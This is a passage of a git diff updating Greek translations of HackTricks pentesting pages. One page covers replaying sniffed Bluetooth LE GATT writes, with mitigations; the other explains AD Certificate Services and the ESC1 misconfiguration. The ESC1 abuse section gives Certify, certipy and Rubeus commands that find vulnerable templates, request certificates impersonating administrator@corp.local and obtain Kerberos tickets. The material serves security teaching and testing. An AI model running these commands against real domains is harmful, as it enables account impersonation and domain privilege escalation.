- Περιηγηθείτε στη GATT database, εντοπίστε το target characteristic (συχνά έχει φιλικό όνομα, π.χ., Alert Level).
|
||||
- Επιλέξτε το nRF52/nRF52840 dongle, σαρώστε και συνδεθείτε με τον στόχο.
|
||||
- Περιηγηθείτε στη βάση δεδομένων GATT, εντοπίστε το target characteristic (συχνά έχει φιλικό όνομα, π.χ., Alert Level).
|
||||
- Εκτελέστε ένα Write με τα sniffed bytes (π.χ., 01 για trigger, 00 για stop).
|
||||
|
||||
- Αυτοματοποιήστε σε Windows με ένα Nordic dongle χρησιμοποιώντας Python + blatann:
|
||||
@ -171,9 +171,9 @@ ble_device.close()
|
||||
```
|
||||
### Λειτουργικές σημειώσεις και μετριασμοί
|
||||
|
||||
- Προτιμήστε Sonoff+Sniffle σε Linux για αξιόπιστη εναλλαγή καναλιών και παρακολούθηση σύνδεσης. Κρατήστε έναν επιπλέον Nordic sniffer ως εφεδρεία.
|
||||
- Χωρίς pairing/bonding, οποιοσδήποτε κοντινός επιτιθέμενος μπορεί να παρατηρήσει εγγραφές και να αναπαράγει/δημιουργήσει δικές του προς μη-επαληθευμένα εγγράψιμα characteristics.
|
||||
- Μέτρα μετριασμού: απαιτήστε pairing/bonding και επιβάλετε κρυπτογράφηση; ορίστε δικαιώματα characteristics ώστε να απαιτούν authenticated writes; ελαχιστοποιήστε μη-επαληθευμένα εγγράψιμα characteristics; επαληθεύστε τα GATT ACLs με Sniffle/nRF Connect.
|
||||
- Προτιμήστε Sonoff+Sniffle σε Linux για αξιόπιστο channel hopping και παρακολούθηση σύνδεσης. Κρατήστε έναν επιπλέον Nordic sniffer ως εφεδρεία.
|
||||
- Χωρίς pairing/bonding, οποιοσδήποτε κοντινός attacker μπορεί να παρατηρήσει writes και να replay/craft δικά του σε unauthenticated writable characteristics.
|
||||
- Μέτρα: απαιτήστε pairing/bonding και επιβάλλετε κρυπτογράφηση· ορίστε τα permissions των characteristics ώστε να απαιτούν authenticated writes· ελαχιστοποιήστε τα unauthenticated writable characteristics· επικυρώστε τα GATT ACLs με Sniffle/nRF Connect.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
||||
@ -1,105 +1,105 @@
|
||||
# AD Certificates
|
||||
# Πιστοποιητικά AD
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
## Εισαγωγή
|
||||
|
||||
### Components of a Certificate
|
||||
### Συστατικά ενός Πιστοποιητικού
|
||||
|
||||
- Το **Subject** του πιστοποιητικού δηλώνει τον κάτοχό του.
|
||||
- Ένα **Public Key** είναι σε ζεύγος με ένα ιδιωτικά φυλασσόμενο κλειδί για να συνδέει το πιστοποιητικό με τον νόμιμο κάτοχό του.
|
||||
- Η **Validity Period**, ορισμένη από τις ημερομηνίες **NotBefore** και **NotAfter**, προσδιορίζει τη χρονική διάρκεια ισχύος του πιστοποιητικού.
|
||||
- Ένας μοναδικός **Serial Number**, που παρέχεται από την Certificate Authority (CA), αναγνωρίζει κάθε πιστοποιητικό.
|
||||
- Ο **Issuer** αναφέρεται στην CA που έχει εκδώσει το πιστοποιητικό.
|
||||
- Το **SubjectAlternativeName** επιτρέπει πρόσθετα ονόματα για τον subject, αυξάνοντας την ευελιξία στην αναγνώριση.
|
||||
- Τα **Basic Constraints** υποδεικνύουν αν το πιστοποιητικό είναι για μια CA ή για ένα end entity και ορίζουν περιορισμούς χρήσης.
|
||||
- Το **Subject** του πιστοποιητικού υποδεικνύει τον ιδιοκτήτη του.
|
||||
- Ένα **Public Key** συζεύγνυται με ένα ιδιωτικά κρατούμενο κλειδί για να συνδέσει το πιστοποιητικό με τον νόμιμο κάτοχό του.
|
||||
- Η **Validity Period**, οριζόμενη από τις ημερομηνίες **NotBefore** και **NotAfter**, προσδιορίζει τη χρονική διάρκεια ισχύος του πιστοποιητικού.
|
||||
- Ένας μοναδικός **Serial Number**, που παρέχεται από το Certificate Authority (CA), ταυτοποιεί κάθε πιστοποιητικό.
|
||||
- Ο **Issuer** αναφέρεται στο CA που εξέδωσε το πιστοποιητικό.
|
||||
- **SubjectAlternativeName** επιτρέπει επιπλέον ονόματα για το subject, βελτιώνοντας την ευελιξία στην ταυτοποίηση.
|
||||
- Τα **Basic Constraints** προσδιορίζουν αν το πιστοποιητικό προορίζεται για CA ή για τελικό ον και ορίζουν περιορισμούς χρήσης.
|
||||
- Τα **Extended Key Usages (EKUs)** καθορίζουν τους συγκεκριμένους σκοπούς του πιστοποιητικού, όπως code signing ή email encryption, μέσω Object Identifiers (OIDs).
|
||||
- Ο **Signature Algorithm** προσδιορίζει τη μέθοδο υπογραφής του πιστοποιητικού.
|
||||
- Ο **Signature Algorithm** καθορίζει τη μέθοδο υπογραφής του πιστοποιητικού.
|
||||
- Η **Signature**, δημιουργημένη με το ιδιωτικό κλειδί του issuer, εγγυάται την αυθεντικότητα του πιστοποιητικού.
|
||||
|
||||
### Special Considerations
|
||||
### Ειδικές Παρατηρήσεις
|
||||
|
||||
- Τα **Subject Alternative Names (SANs)** επεκτείνουν την εφαρμοσιμότητα ενός πιστοποιητικού σε πολλαπλές ταυτότητες, κρίσιμα για servers με πολλούς domains. Απαιτούνται ασφαλείς διαδικασίες έκδοσης για να αποφευχθεί ο κίνδυνος impersonation από attackers που χειρίζονται την προδιαγραφή του SAN.
|
||||
- Τα **Subject Alternative Names (SANs)** επεκτείνουν την εφαρμοσιμότητα ενός πιστοποιητικού σε πολλαπλές ταυτότητες, κρίσιμο για servers με πολλαπλούς domains. Ασφαλείς διαδικασίες έκδοσης είναι ζωτικής σημασίας για να αποφευχθεί ο κίνδυνος impersonation από επιτιθέμενους που χειραγωγούν την προδιαγραφή SAN.
|
||||
|
||||
### Certificate Authorities (CAs) in Active Directory (AD)
|
||||
### Certificate Authorities (CAs) σε Active Directory (AD)
|
||||
|
||||
Το AD CS αναγνωρίζει τα CA certificates σε ένα AD forest μέσω καθορισμένων containers, το καθένα με ξεχωριστό ρόλο:
|
||||
Το AD CS αναγνωρίζει CA certificates σε ένα AD forest μέσω καθορισμένων containers, το καθένα εξυπηρετεί διαφορετικούς ρόλους:
|
||||
|
||||
- Το **Certification Authorities** container περιέχει trusted root CA certificates.
|
||||
- Το **Enrolment Services** container περιγράφει Enterprise CAs και τα certificate templates τους.
|
||||
- Το **NTAuthCertificates** object περιλαμβάνει CA certificates εξουσιοδοτημένα για AD authentication.
|
||||
- Το **AIA (Authority Information Access)** container διευκολύνει την επικύρωση της certificate chain με intermediate και cross CA certificates.
|
||||
- Το container **Certification Authorities** φυλάσσει trusted root CA certificates.
|
||||
- Το container **Enrolment Services** περιγράφει Enterprise CAs και τα certificate templates τους.
|
||||
- Το αντικείμενο **NTAuthCertificates** περιλαμβάνει CA certificates εξουσιοδοτημένα για AD authentication.
|
||||
- Το container **AIA (Authority Information Access)** διευκολύνει την επαλήθευση αλυσίδας πιστοποιητικών με intermediate και cross CA certificates.
|
||||
|
||||
### Certificate Acquisition: Client Certificate Request Flow
|
||||
### Απόκτηση Πιστοποιητικού: Client Certificate Request Flow
|
||||
|
||||
1. Η διαδικασία αίτησης ξεκινά με τους clients να εντοπίζουν ένα Enterprise CA.
|
||||
2. Δημιουργείται ένα CSR που περιέχει ένα public key και άλλες πληροφορίες, μετά τη δημιουργία ενός ζεύγους public-private key.
|
||||
3. Η CA αξιολογεί το CSR σε σχέση με τα διαθέσιμα certificate templates και εκδίδει το πιστοποιητικό βάσει των permissions του template.
|
||||
4. Μετά την έγκριση, η CA υπογράφει το πιστοποιητικό με το ιδιωτικό της κλειδί και το επιστρέφει στον client.
|
||||
2. Δημιουργείται ένα CSR που περιέχει ένα public key και άλλα στοιχεία, αφού προηγουμένως παραχθεί ένα ζεύγος public-private κλειδιών.
|
||||
3. Το CA αξιολογεί το CSR σε σχέση με διαθέσιμα certificate templates, εκδίδοντας το πιστοποιητικό βάσει των δικαιωμάτων του template.
|
||||
4. Μετά την έγκριση, το CA υπογράφει το πιστοποιητικό με το ιδιωτικό του κλειδί και το επιστρέφει στον client.
|
||||
|
||||
### Certificate Templates
|
||||
|
||||
Ορισμένα μέσα στο AD, αυτά τα templates περιγράφουν τις ρυθμίσεις και τα δικαιώματα για την έκδοση πιστοποιητικών, συμπεριλαμβανομένων των επιτρεπόμενων EKUs και των δικαιωμάτων enrollment ή modification, κρίσιμα για τη διαχείριση πρόσβασης στις υπηρεσίες πιστοποιητικών.
|
||||
Ορισμένα εντός του AD, αυτά τα templates περιγράφουν ρυθμίσεις και δικαιώματα για την έκδοση πιστοποιητικών, συμπεριλαμβανομένων των επιτρεπόμενων EKUs και δικαιωμάτων enrollment ή τροποποίησης, κρίσιμα για τη διαχείριση πρόσβασης στις υπηρεσίες πιστοποιητικών.
|
||||
|
||||
## Certificate Enrollment
|
||||
|
||||
Η διαδικασία enrollment για πιστοποιητικά αρχίζει από έναν administrator που **δημιουργεί ένα certificate template**, το οποίο στη συνέχεια **δημοσιεύεται** από μια Enterprise Certificate Authority (CA). Αυτό καθιστά το template διαθέσιμο για client enrollment, ένα βήμα που επιτυγχάνεται προσθέτοντας το όνομα του template στο πεδίο `certificatetemplates` ενός Active Directory object.
|
||||
Η διαδικασία enrollment για πιστοποιητικά ξεκινά από έναν administrator που **δημιουργεί ένα certificate template**, το οποίο στη συνέχεια **δημοσιεύεται** από ένα Enterprise Certificate Authority (CA). Αυτό καθιστά το template διαθέσιμο για client enrollment, ένα βήμα που επιτυγχάνεται με την προσθήκη του ονόματος του template στο πεδίο `certificatetemplates` ενός Active Directory αντικειμένου.
|
||||
|
||||
Για να κάνει ένας client αίτηση για πιστοποιητικό, πρέπει να του έχουν χορηγηθεί **enrollment rights**. Αυτά τα δικαιώματα ορίζονται από security descriptors πάνω στο certificate template και στην Enterprise CA ίδια. Τα permissions πρέπει να χορηγηθούν και στις δύο τοποθεσίες για να είναι επιτυχημένη μια αίτηση.
|
||||
Για να μπορεί ένας client να αιτηθεί πιστοποιητικό, πρέπει να του χορηγηθούν **enrollment rights**. Αυτά τα δικαιώματα ορίζονται από security descriptors στο certificate template και στο ίδιο το Enterprise CA. Τα permissions πρέπει να δοθούν και στις δύο τοποθεσίες για να είναι επιτυχής η αίτηση.
|
||||
|
||||
### Template Enrollment Rights
|
||||
|
||||
Αυτά τα rights καθορίζονται μέσω Access Control Entries (ACEs), που περιγράφουν permissions όπως:
|
||||
Αυτά τα δικαιώματα καθορίζονται μέσω Access Control Entries (ACEs), περιγράφοντας δικαιώματα όπως:
|
||||
|
||||
- **Certificate-Enrollment** και **Certificate-AutoEnrollment** rights, το καθένα συνδεδεμένο με συγκεκριμένα GUIDs.
|
||||
- **ExtendedRights**, που επιτρέπουν όλα τα extended permissions.
|
||||
- **FullControl/GenericAll**, που παρέχουν πλήρη έλεγχο πάνω στο template.
|
||||
- **Certificate-Enrollment** και **Certificate-AutoEnrollment** rights, κάθε ένα συνδεδεμένο με συγκεκριμένα GUIDs.
|
||||
- **ExtendedRights**, επιτρέποντας όλα τα extended permissions.
|
||||
- **FullControl/GenericAll**, παρέχοντας πλήρη έλεγχο επί του template.
|
||||
|
||||
### Enterprise CA Enrollment Rights
|
||||
|
||||
Τα rights της CA περιγράφονται στο security descriptor της, προσβάσιμο μέσω της κονσόλας διαχείρισης Certificate Authority. Ορισμένες ρυθμίσεις επιτρέπουν ακόμη και σε low-privileged users απομακρυσμένη πρόσβαση, κάτι που μπορεί να αποτελεί θέμα ασφαλείας.
|
||||
Τα δικαιώματα του CA περιγράφονται στον security descriptor του, προσβάσιμο μέσω της κονσόλας διαχείρισης Certificate Authority. Ορισμένες ρυθμίσεις επιτρέπουν ακόμη και σε χρήστες με χαμηλά προνόμια απομακρυσμένη πρόσβαση, κάτι που μπορεί να αποτελέσει ζήτημα ασφάλειας.
|
||||
|
||||
### Additional Issuance Controls
|
||||
### Πρόσθετοι Έλεγχοι Έκδοσης
|
||||
|
||||
Μπορεί να εφαρμόζονται ορισμένοι έλεγχοι έκδοσης, όπως:
|
||||
Μπορεί να εφαρμόζονται ορισμένοι έλεγχοι, όπως:
|
||||
|
||||
- **Manager Approval**: Τοποθετεί αιτήσεις σε pending κατάσταση έως ότου εγκριθούν από certificate manager.
|
||||
- **Enrolment Agents and Authorized Signatures**: Προσδιορίζουν τον αριθμό απαιτούμενων signatures σε ένα CSR και τα αναγκαία Application Policy OIDs.
|
||||
- **Manager Approval**: Τοποθετεί τις αιτήσεις σε pending κατάσταση μέχρι να εγκριθούν από certificate manager.
|
||||
- **Enrolment Agents and Authorized Signatures**: Προσδιορίζουν τον αριθμό απαιτούμενων signatures σε ένα CSR και τα απαραίτητα Application Policy OIDs.
|
||||
|
||||
### Methods to Request Certificates
|
||||
### Μέθοδοι Αίτησης Πιστοποιητικών
|
||||
|
||||
Πιστοποιητικά μπορούν να ζητηθούν μέσω:
|
||||
|
||||
1. Του **Windows Client Certificate Enrollment Protocol** (MS-WCCE), χρησιμοποιώντας DCOM interfaces.
|
||||
2. Του **ICertPassage Remote Protocol** (MS-ICPR), μέσω named pipes ή TCP/IP.
|
||||
3. Του **certificate enrollment web interface**, με εγκατεστημένο το Certificate Authority Web Enrollment role.
|
||||
4. Της **Certificate Enrollment Service** (CES), σε συνδυασμό με την Certificate Enrollment Policy (CEP) service.
|
||||
5. Της **Network Device Enrollment Service** (NDES) για network devices, χρησιμοποιώντας το Simple Certificate Enrollment Protocol (SCEP).
|
||||
1. του **Windows Client Certificate Enrollment Protocol** (MS-WCCE), χρησιμοποιώντας DCOM interfaces.
|
||||
2. του **ICertPassage Remote Protocol** (MS-ICPR), μέσω named pipes ή TCP/IP.
|
||||
3. του **certificate enrollment web interface**, με εγκατεστημένο το Certificate Authority Web Enrollment role.
|
||||
4. της **Certificate Enrollment Service** (CES), σε συνδυασμό με την υπηρεσία Certificate Enrollment Policy (CEP).
|
||||
5. της **Network Device Enrollment Service** (NDES) για network devices, χρησιμοποιώντας το Simple Certificate Enrollment Protocol (SCEP).
|
||||
|
||||
Οι Windows users μπορούν επίσης να αιτηθούν πιστοποιητικά μέσω του GUI (`certmgr.msc` ή `certlm.msc`) ή εργαλείων command-line (`certreq.exe` ή την εντολή PowerShell `Get-Certificate`).
|
||||
Χρήστες Windows μπορούν επίσης να αιτηθούν πιστοποιητικά μέσω GUI (`certmgr.msc` ή `certlm.msc`) ή εργαλείων γραμμής εντολών (`certreq.exe` ή την εντολή PowerShell `Get-Certificate`).
|
||||
```bash
|
||||
# Example of requesting a certificate using PowerShell
|
||||
Get-Certificate -Template "User" -CertStoreLocation "cert:\\CurrentUser\\My"
|
||||
```
|
||||
## Αυθεντικοποίηση με Πιστοποιητικά
|
||||
|
||||
Το Active Directory (AD) υποστηρίζει αυθεντικοποίηση με πιστοποιητικά, χρησιμοποιώντας κυρίως τα πρωτόκολλα **Kerberos** και **Secure Channel (Schannel)**.
|
||||
Active Directory (AD) υποστηρίζει επαλήθευση μέσω πιστοποιητικών, κυρίως χρησιμοποιώντας τα πρωτόκολλα **Kerberos** και **Secure Channel (Schannel)**.
|
||||
|
||||
### Διαδικασία αυθεντικοποίησης Kerberos
|
||||
### Διαδικασία Αυθεντικοποίησης Kerberos
|
||||
|
||||
Στη διαδικασία αυθεντικοποίησης Kerberos, το αίτημα ενός χρήστη για ένα Ticket Granting Ticket (TGT) υπογράφεται χρησιμοποιώντας το **ιδιωτικό κλειδί** του πιστοποιητικού του χρήστη. Το αίτημα αυτό υπόκειται σε διάφορους ελέγχους από τον domain controller, συμπεριλαμβανομένης της **έγκυρότητας** του πιστοποιητικού, της **διαδρομής (path)** και της **κατάστασης ανάκλησης**. Οι έλεγχοι περιλαμβάνουν επίσης την επαλήθευση ότι το πιστοποιητικό προέρχεται από αξιόπιστη πηγή και την επιβεβαίωση της παρουσίας του εκδότη στο **NTAUTH certificate store**. Επιτυχείς έλεγχοι έχουν ως αποτέλεσμα την έκδοση ενός TGT. Το **`NTAuthCertificates`** αντικείμενο στο AD, που βρίσκεται στο:
|
||||
Στη διαδικασία αυθεντικοποίησης Kerberos, το αίτημα ενός χρήστη για Ticket Granting Ticket (TGT) υπογράφεται με το **ιδιωτικό κλειδί** του πιστοποιητικού του χρήστη. Αυτό το αίτημα υπόκειται σε πολλαπλούς ελέγχους από τον domain controller, συμπεριλαμβανομένης της **ισχύος**, της **διαδρομής** και της **κατάστασης ανάκλησης** του πιστοποιητικού. Οι επαληθεύσεις περιλαμβάνουν επίσης τον έλεγχο ότι το πιστοποιητικό προέρχεται από αξιόπιστη πηγή και την επιβεβαίωση της παρουσίας του εκδότη στο **NTAUTH certificate store**. Οι επιτυχείς επαληθεύσεις οδηγούν στην έκδοση ενός TGT. Το **`NTAuthCertificates`** αντικείμενο στο AD, που βρίσκεται στο:
|
||||
```bash
|
||||
CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>
|
||||
```
|
||||
είναι κεντρικό για την εγκαθίδρυση εμπιστοσύνης για την πιστοποίηση μέσω πιστοποιητικών.
|
||||
είναι κεντρικό για την εγκαθίδρυση εμπιστοσύνης για τον έλεγχο ταυτότητας με πιστοποιητικά.
|
||||
|
||||
### Αυθεντικοποίηση Secure Channel (Schannel)
|
||||
### Secure Channel (Schannel) Authentication
|
||||
|
||||
Το Schannel διευκολύνει ασφαλείς συνδέσεις TLS/SSL, όπου κατά τη διάρκεια ενός handshake, ο πελάτης παρουσιάζει ένα πιστοποιητικό που, εφόσον επικυρωθεί επιτυχώς, εξουσιοδοτεί την πρόσβαση. Η αντιστοίχηση ενός πιστοποιητικού σε λογαριασμό AD μπορεί να περιλαμβάνει τη λειτουργία του Kerberos **S4U2Self** ή το **Subject Alternative Name (SAN)** του πιστοποιητικού, μεταξύ άλλων μεθόδων.
|
||||
Το Schannel διευκολύνει ασφαλείς συνδέσεις TLS/SSL, όπου κατά τη διάρκεια του handshake ο client παρουσιάζει ένα πιστοποιητικό που, εάν επικυρωθεί επιτυχώς, εξουσιοδοτεί την πρόσβαση. Η αντιστοίχιση ενός πιστοποιητικού σε λογαριασμό AD μπορεί να περιλαμβάνει τη λειτουργία του Kerberos **S4U2Self** ή το **Subject Alternative Name (SAN)** του πιστοποιητικού, μεταξύ άλλων μεθόδων.
|
||||
|
||||
### Εντοπισμός AD Certificate Services
|
||||
### AD Certificate Services Enumeration
|
||||
|
||||
Οι υπηρεσίες πιστοποιητικών του AD μπορούν να ανιχνευθούν μέσω ερωτημάτων LDAP, αποκαλύπτοντας πληροφορίες για **Enterprise Certificate Authorities (CAs)** και τις ρυθμίσεις τους. Αυτό είναι προσβάσιμο από οποιονδήποτε χρήστη πιστοποιημένο στο domain χωρίς ειδικά προνόμια. Εργαλεία όπως **[Certify](https://github.com/GhostPack/Certify)** και **[Certipy](https://github.com/ly4k/Certipy)** χρησιμοποιούνται για την απογραφή και την αξιολόγηση ευπαθειών σε περιβάλλοντα AD CS.
|
||||
Οι υπηρεσίες πιστοποιητικών του AD μπορούν να ανιχνευθούν μέσω ερωτημάτων LDAP, αποκαλύπτοντας πληροφορίες για τις **Enterprise Certificate Authorities (CAs)** και τις διαμορφώσεις τους. Αυτό είναι προσβάσιμο από οποιονδήποτε χρήστη αυθεντικοποιημένο στο domain χωρίς ειδικά προνόμια. Εργαλεία όπως **[Certify](https://github.com/GhostPack/Certify)** και **[Certipy](https://github.com/ly4k/Certipy)** χρησιμοποιούνται για την ανίχνευση και την αξιολόγηση ευπαθειών σε περιβάλλοντα AD CS.
|
||||
|
||||
Οι εντολές για τη χρήση αυτών των εργαλείων περιλαμβάνουν:
|
||||
```bash
|
||||
|
||||
@ -1,44 +1,44 @@
|
||||
# AD CS Ανάβαθμιση στο Domain
|
||||
# AD CS Ανάβαθμιση δικαιωμάτων στο Domain
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Αυτή είναι μια περίληψη των τμημάτων τεχνικών ανάβαθμισης των δημοσιεύσεων:**
|
||||
**Αυτή είναι μια περίληψη των τμημάτων τεχνικών ανάβαθμισης από τα άρθρα:**
|
||||
|
||||
- [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf)
|
||||
- [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
- [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
||||
## Μη σωστά ρυθμισμένα πρότυπα πιστοποιητικών - ESC1
|
||||
## Λανθασμένα Διαμορφωμένα Πρότυπα Πιστοποιητικών - ESC1
|
||||
|
||||
### Επεξήγηση
|
||||
### Εξήγηση
|
||||
|
||||
### Μη σωστά ρυθμισμένα πρότυπα πιστοποιητικών - ESC1 Επεξηγημένα
|
||||
### Λανθασμένα Πρότυπα Πιστοποιητικών - ESC1 (Επεξήγηση)
|
||||
|
||||
- **Δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από την Enterprise CA.**
|
||||
- **Δεν απαιτείται έγκριση από manager.**
|
||||
- **Δεν χρειάζονται υπογραφές από εξουσιοδοτημένο προσωπικό.**
|
||||
- **Δικαιώματα εγγραφής χορηγούνται σε χρήστες με χαμηλά προνόμια από το Enterprise CA.**
|
||||
- **Δεν απαιτείται έγκριση από διευθυντή.**
|
||||
- **Δεν απαιτούνται υπογραφές από εξουσιοδοτημένο προσωπικό.**
|
||||
- **Οι security descriptors στα πρότυπα πιστοποιητικών είναι υπερβολικά επιεικείς, επιτρέποντας σε χρήστες με χαμηλά προνόμια να αποκτήσουν δικαιώματα εγγραφής.**
|
||||
- **Τα πρότυπα πιστοποιητικών είναι ρυθμισμένα ώστε να ορίζουν EKUs που διευκολύνουν την αυθεντικοποίηση:**
|
||||
- **Τα πρότυπα πιστοποιητικών έχουν διαμορφωθεί ώστε να ορίζουν EKU που διευκολύνουν την αυθεντικοποίηση:**
|
||||
- Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included.
|
||||
- **Το πρότυπο επιτρέπει στους αιτούντες να περιλαμβάνουν subjectAltName στο Certificate Signing Request (CSR):**
|
||||
- Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) ενός πιστοποιητικού για την επαλήθευση ταυτότητας εάν είναι παρόν. Αυτό σημαίνει ότι με την καθορισμένη SAN σε ένα CSR, μπορεί να ζητηθεί πιστοποιητικό για να μιμηθεί οποιονδήποτε χρήστη (π.χ. έναν domain administrator). Το αν μπορεί να οριστεί SAN από τον αιτούντα υποδεικνύεται στο αντικείμενο του προτύπου πιστοποιητικού στο AD μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει τον καθορισμό της SAN από τον αιτούντα.
|
||||
- **Η δυνατότητα για τους αιτούντες να συμπεριλάβουν subjectAltName στο Certificate Signing Request (CSR) επιτρέπεται από το πρότυπο:**
|
||||
- Το Active Directory (AD) δίνει προτεραιότητα στο subjectAltName (SAN) σε ένα πιστοποιητικό για επαλήθευση ταυτότητας αν υπάρχει. Αυτό σημαίνει ότι καθορίζοντας το SAN σε ένα CSR, μπορεί να ζητηθεί πιστοποιητικό για να προσποιηθεί οποιονδήποτε χρήστη (π.χ. έναν domain administrator). Το αν μπορεί ένας αιτών να καθορίσει ένα SAN υποδεικνύεται στο αντικείμενο προτύπου πιστοποιητικού στο AD μέσω της ιδιότητας `mspki-certificate-name-flag`. Αυτή η ιδιότητα είναι ένα bitmask, και η παρουσία της σημαίας `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` επιτρέπει στον αιτούντα να προσδιορίσει το SAN.
|
||||
|
||||
> [!CAUTION]
|
||||
> Η περιγραφόμενη διαμόρφωση επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητήσουν πιστοποιητικά με οποιαδήποτε SAN επιθυμούν, επιτρέποντας την αυθεντικοποίηση ως οποιοσδήποτε domain principal μέσω Kerberos ή SChannel.
|
||||
> Η παραπάνω διαμόρφωση επιτρέπει σε χρήστες με χαμηλά προνόμια να ζητούν πιστοποιητικά με οποιοδήποτε SAN, επιτρέποντας αυθεντικοποίηση ως οποιοδήποτε domain principal μέσω Kerberos ή SChannel.
|
||||
|
||||
Αυτή η δυνατότητα μερικές φορές ενεργοποιείται για να υποστηρίξει τη δυναμική δημιουργία HTTPS ή host πιστοποιητικών από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
|
||||
Αυτή η λειτουργία μερικές φορές ενεργοποιείται για να υποστηρίξει τη δημιουργία HTTPS ή πιστοποιητικών host σε πραγματικό χρόνο από προϊόντα ή υπηρεσίες ανάπτυξης, ή λόγω έλλειψης κατανόησης.
|
||||
|
||||
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτήν την επιλογή προκαλεί προειδοποίηση, κάτι που δεν ισχύει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένο το `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να συμπεριλάβει ένα authentication OID.
|
||||
Σημειώνεται ότι η δημιουργία ενός πιστοποιητικού με αυτή την επιλογή προκαλεί μια προειδοποίηση, κάτι που δεν συμβαίνει όταν ένα υπάρχον πρότυπο πιστοποιητικού (όπως το πρότυπο `WebServer`, το οποίο έχει ενεργοποιημένη τη σημαία `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`) αντιγράφεται και στη συνέχεια τροποποιείται για να συμπεριλάβει ένα authentication OID.
|
||||
|
||||
### Κατάχρηση
|
||||
|
||||
Για να **βρείτε ευάλωτα πρότυπα πιστοποιητικών** μπορείτε να τρέξετε:
|
||||
Για να **βρείτε ευάλωτα πρότυπα πιστοποιητικών** μπορείτε να εκτελέσετε:
|
||||
```bash
|
||||
Certify.exe find /vulnerable
|
||||
certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
|
||||
```
|
||||
Για να **εκμεταλλευτεί αυτή την ευπάθεια για να προσποιηθεί έναν διαχειριστή** κάποιος θα μπορούσε να εκτελέσει:
|
||||
Για να **καταχραστείτε αυτή την ευπάθεια για να προσποιηθείτε έναν διαχειριστή**, μπορεί κανείς να εκτελέσει:
|
||||
```bash
|
||||
# Impersonate by setting SAN to a target principal (UPN or sAMAccountName)
|
||||
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:administrator@corp.local
|
||||
@ -54,14 +54,14 @@ Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:ad
|
||||
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' \
|
||||
-template 'ESC1' -upn 'administrator@corp.local'
|
||||
```
|
||||
Στη συνέχεια μπορείτε να μετατρέψετε το παραγόμενο **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **αυθεντικοποίηση με Rubeus ή certipy** ξανά:
|
||||
Στη συνέχεια μπορείτε να μετατρέψετε το παραχθέν **πιστοποιητικό σε μορφή `.pfx`** και να το χρησιμοποιήσετε για **αυθεντικοποίηση χρησιμοποιώντας Rubeus ή certipy** ξανά:
|
||||
```bash
|
||||
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
|
||||
```
|
||||
Τα Windows binaries "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για να δημιουργήσουν το PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
Τα Windows εκτελέσιμα "Certreq.exe" & "Certutil.exe" μπορούν να χρησιμοποιηθούν για να δημιουργήσουν το PFX: https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee
|
||||
|
||||
Η απαρίθμηση των προτύπων πιστοποιητικών στο σχήμα διαμόρφωσης του AD Forest, συγκεκριμένα αυτών που δεν απαιτούν έγκριση ή υπογραφές, που έχουν Client Authentication ή Smart Card Logon EKU, και με το flag `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` ενεργοποιημένο, μπορεί να γίνει εκτελώντας το ακόλουθο LDAP query:
|
||||
Η απογραφή των προτύπων πιστοποιητικών στο σχήμα διαμόρφωσης του AD Forest, συγκεκριμένα εκείνων που δεν απαιτούν έγκριση ή υπογραφές, που διαθέτουν Client Authentication ή Smart Card Logon EKU, και με το `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag ενεργοποιημένο, μπορεί να πραγματοποιηθεί εκτελώντας το ακόλουθο ερώτημα LDAP:
|
||||
```
|
||||
